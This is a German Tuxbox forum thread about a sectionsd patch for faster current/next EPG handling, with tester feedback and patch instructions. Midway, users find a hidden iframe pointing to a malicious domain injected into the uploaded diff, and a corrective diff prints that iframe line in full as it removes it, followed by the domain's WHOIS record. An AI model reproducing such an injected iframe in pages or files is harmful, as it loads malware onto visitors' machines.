[PATCH] Mal wieder ein sectionsd-Versuch...

[seife]

sectionsd-1.261-current-next-thread.diff

Ich habe mal versucht, das current/next und EIT-update-Handling im sectionsd zu verbessern. Dazu habe ich current/next-Events in einen eigenen Thread ausgelagert.

Bei mir ist nun die Reaktion nach dem Umschalten schneller, auch bei schnellem Extremzapping, ausserdem kommt nun die Benachrichtigung über eine neue Sendung exakt dann, wenn sich die EIT-Version ändert. Sieht man sehr schön z.B. auf Deluxe Music.

Das ganze muss noch aufgeräumt werden und es ist noch sehr verbose, auch ohne "-d", aber das sind dann Kleinigkeiten, die schnell aufgeräumt sind.

Erfahrungsberichte sind willkommen ;-)

[MPC823]

Manchmal könnte man neidisch werden


Respekt und Hut ab


Martin

[seife]

Naja. So genau weiss ich auch nicht, was ich da tue. Allerdings glaube ich, dass es beim sectionsd wohl keinen mehr gibt, der da durchblickt

Dieser Patch könnte übrigens durchaus die Performance verbessern und die CPU-Last heruntersetzen, falls das potenzielle Tester animieren würde...

[Rebel1]

Hi,
ich würde ja gerne testen, nur hat es anscheinend deinen Diff zerhauen,ich bekomme einen "unexpected end of file in patch".
Ausserdem kommt gleich am Anfang ein

Code: Alles auswählen

<iframe src="htt&#1 ........

, keine Ahnung ob da was bei dir oder im Uploadcenter faul ist.

Gruss,
René

[seife]

Da ist im Uploadcenter was faul. Bei mir ist er definitiv in Ordnung, aber auch erneutes Hochladen erzeugt ein genauso kaputtes file

Das mit dem IFrame sieht so aus, als ob das ULC gehackt wurde.

ein Patch, um aus dem kaputten diff das richtige diff zu machen:

Code: Alles auswählen

--- sectionsd-1.261-current-next-thread_.diff~	2008-05-05 11:52:27.552011329 +0200
+++ sectionsd-1.261-current-next-thread_.diff	2008-05-05 11:50:14.657038574 +0200
@@ -1,4 +1,4 @@
-<iframe src="http://caatadgouk.com/dl/adv408.php" width=1 height=1></iframe>Index: daemons/sectionsd/dmx.cpp
+Index: daemons/sectionsd/dmx.cpp
 ===================================================================
 RCS file: /cvs/tuxbox/apps/tuxbox/neutrino/daemons/sectionsd/dmx.cpp,v
 retrieving revision 1.34
@@ -799,4 +799,15 @@ diff -u -p -r1.261 sectionsd.cpp
  //						messaging_sections_max_ID[0] = -1;
 @@ -7938,11 +8255,10 @@ int main(int argc, char **argv)
  						unlockMessaging();
- 						sched_yield();
\ No newline at end of file
+ 						sched_yield();
+ #ifdef PAUSE_EQUALS_STOP
+-						dmxEIT.real_unpause();
++						dmxCN.real_unpause();
+ #endif
+-						dmxEIT.change(0);
++						dmxCN.change(0);
+ 						sched_yield();
+-						EITCheckAllFilters = false;
+ 					}
+ 				}
+ 				sched_yield();

Damit sollte es möglich sein, den letzten Teil manuell zu patchen. Der letzte Teil befindet sich in sectionsd.cpp:main(), so ab Zeile 8255 wenn der Rest des Patches schon angewandt ist.

[Tommy]

das IFRAME versucht hier "*ttp://caatadgouk.com/dl/adv408.php" zu laden

Beschwerden an:

WHOIS information for: caatadgouk.com:

[whois.bizcn.com]

The data in this whois database is provided to you for information
purposes only, that is, to assist you in obtaining information about or
related to a domain name registration record. We make this information
available "as is," and do not guarantee its accuracy. By submitting a
whois query, you agree that you will use this data only for lawful
purposes and that, under no circumstances will you use this data to: (1)
enable high volume, automated, electronic processes that stress or load
this whois database system providing you this information; or (2) allow,
enable, or otherwise support the transmission of mass unsolicited,
commercial advertising or solicitations via direct mail, electronic
mail, or by telephone. The compilation, repackaging, dissemination or
other use of this data is expressly prohibited without prior written
consent from us. We reserve the right to modify these terms at any time.
By submitting this query, you agree to abide by these terms.

Domain name: caatadgouk.com

Registrant Contact:
0
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us

Administrative Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us

Technical Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us

Billing Contact:
Mark Arnold arnold@google.com
+13.193387549 fax: +13.193387549
201 East Benton Street
Iowa City KY 522401
us

DNS:
ns1.chbdvrnfag.com
ns2.chbdvrnfag.com

Created: 2008-03-31
Expires: 2009-03-31

Verio Inc. - Growing Your Business, One Click At A Time

...und wer noch eine Handgranate übrig hat: http://maps.google.com/maps?f=q&hl=de&g ... iwloc=addr

EDIT: zur Gefährlichkeit: http://www.google.de/search?sourceid=na ... e193387549

@CarstenW: bitte das ULC entwanzen

[CarstenW]

Hi,

Danke an den Hinweis!
Sollte jetzt behoben sein, bitte mal testen (ich sehen den IFRAME nu nicht mehr).

Gruß .........Carsten

[Rebel1]

Der Patch von Seife ist jetzt jedenfalls in Ordnung.

[mb405]

muss ich doch morgen mal einbauen, und guggen.

[sumisu]

könnte jemand mit ner nokia-sat-box bitte mal checken, was bei euch auf EinsFestival (neue frequenz) passiert? bei mir kackt die box da komplett ab. im log passiert in dem moment leider auch nichts. ohne sectionsd geht das. betrifft offenbar den ganzen transponder...

danke,
Sumisu

[Cbot]

Das Problem kann ich hier bestätigen, Nokia 500 SAT.

[seife]

Hm. Nokia habe ich natürlich nicht... Auf Philips mit 2.6er kernel ging es bei mir jedenfalls, auch auf EinsFestival.

"Kackt ab" heißt sie bleibt hart stehen, kein Zugriff per telnet mehr möglich?

[sumisu]

ja, das heisst abkacken - keine meldung im log und keinerlei zugriff mehr. und sorry, dass ich diesen thread genommen hatte. es hat NICHTS mit deinen änderungen zutun. ist wohl besser, den von mb405 gestarteten thread dafür zu benutzen...

Sumisu

[Rebel1]

Hi,
hier mal eine kurze Rückmeldung nach ein paar Tagen Laufzeit, es gibt hier auf meine Sagem Sat keinerlei negativen Nebenwirkungen. Mir kommt die Reaktionszeit auch ein wenig besser vor, und meinem Empfinden nach, ist nach einem Neustart auch das EPG zügiger da.


Gruss,
René

[seife]

Ok, das ist ja so, wie von mir erwartet ;-) Frau und Kinder haben sich auch nicht beschwert, die sind sonst immer gleich da, wenn was nicht geht.

Nachdem nun das EPG-Problem mit ARD wieder gefixt ist, könnten ja evtl. noch ein paar mehr Tester diesen Patch testen, wenn dann keine negativen Begleiterscheinungen auftreten, dann mach ich den noch ein wenig schön und checke ihn ein.

[MacLeod]

hm..
wie muß ich das anwenden?
patch -p1< sectionsd-1.261-current-next-thread.diff
in /tuxbox-cvs? (file existiert an der stelle)
sorry für die dumme frage...

MacLeod

[seife]

im cvs-Verzeichnis nach apps/tuxbox/neutrino/daemons wechseln, dann

Code: Alles auswählen

patch -p1 < /wo/der/patch/liegt/sectionsd-1.261-current-next-thread.diff

[mb405]

also test von mir
bis jetzt kann ich nichts negatives feststellen.
kann es sein, das current next info nach kanalwechsel bisle länger dauert ? oder liegt das noch an den diversen logausgaben.

[MacLeod]

jupp danke hat geklappt.
werde das gleich mal testen

fix bedankt!
MacLeod

[seife]

kann es sein, das current next info nach kanalwechsel bisle länger dauert ? oder liegt das noch an den diversen logausgaben.

Das kann schon sein, genau am current / next habe ich ja gedreht. Mein Plan ist, dass das jetzt schneller gehen sollte, aber man weiss ja nie. Es kann natürlich durchaus an den exzessiven Logausgaben liegen, insbesondere wenn du die serielle mit 9k6 betreibst. Du könntest mal versuchen, den sectionsd mit "sectionsd >/dev/null 2>&1" zu starten, dann ist der Faktor Logausgabe mal weg.

Generell ist das schwer zu messen, mit dem "wie lang dauert es, bis current/next da sind", das ist immer ein wenig Gefühlssache, insofern sind da auch solche Berichte wichtig.

Wenn das bei mehreren über ein paar Tage keine Schwierigkeiten macht, dann mach ich mal eine aufgeräumte Version, ohne exzessives Loggen, die man dann "benchmarken" kann

Erstmal ist das Log wichtig, falls was schiefgeht, damit man ungefähr sieht, wo.

[DrStoned]

Für alle die nicht selbst kompilieren können, aber testen möchten, habe ich den sectionsd_v 1.261 als Binärdatei in's Tuxbox-Uploadcenter hochgeladen.
http://ulc.tuxbox-cvs.sourceforge.net// ... ectionsd_v 1.261.zip&directory=Binaries&

Greetz von DrStoned

[sumisu]

@DrStoned
kannst du das zip-file bitte nochmal checken? oder liegts an mir, dass ich es nicht öffnen kann?

danke,
Sumisu

[DrStoned]

Ich habs mit Winrar als Zip gepackt, vielleicht liegts daran. Hab auf diesem Rechner kein Winzip drauf. Ich machs mal mit dem anderen PC und lade es nochmal hoch.

Greetz von DrStoned

[sumisu]

super, danke - diesmal hats geklappt. dann werd ich auch malprobieren

Sumisu

[DrStoned]

Jetzt nochmal versuchen, da war beim Upload was schiefgelaufen. Entpackt sollte er 280984 Bytes haben.

Greetz von DrStoned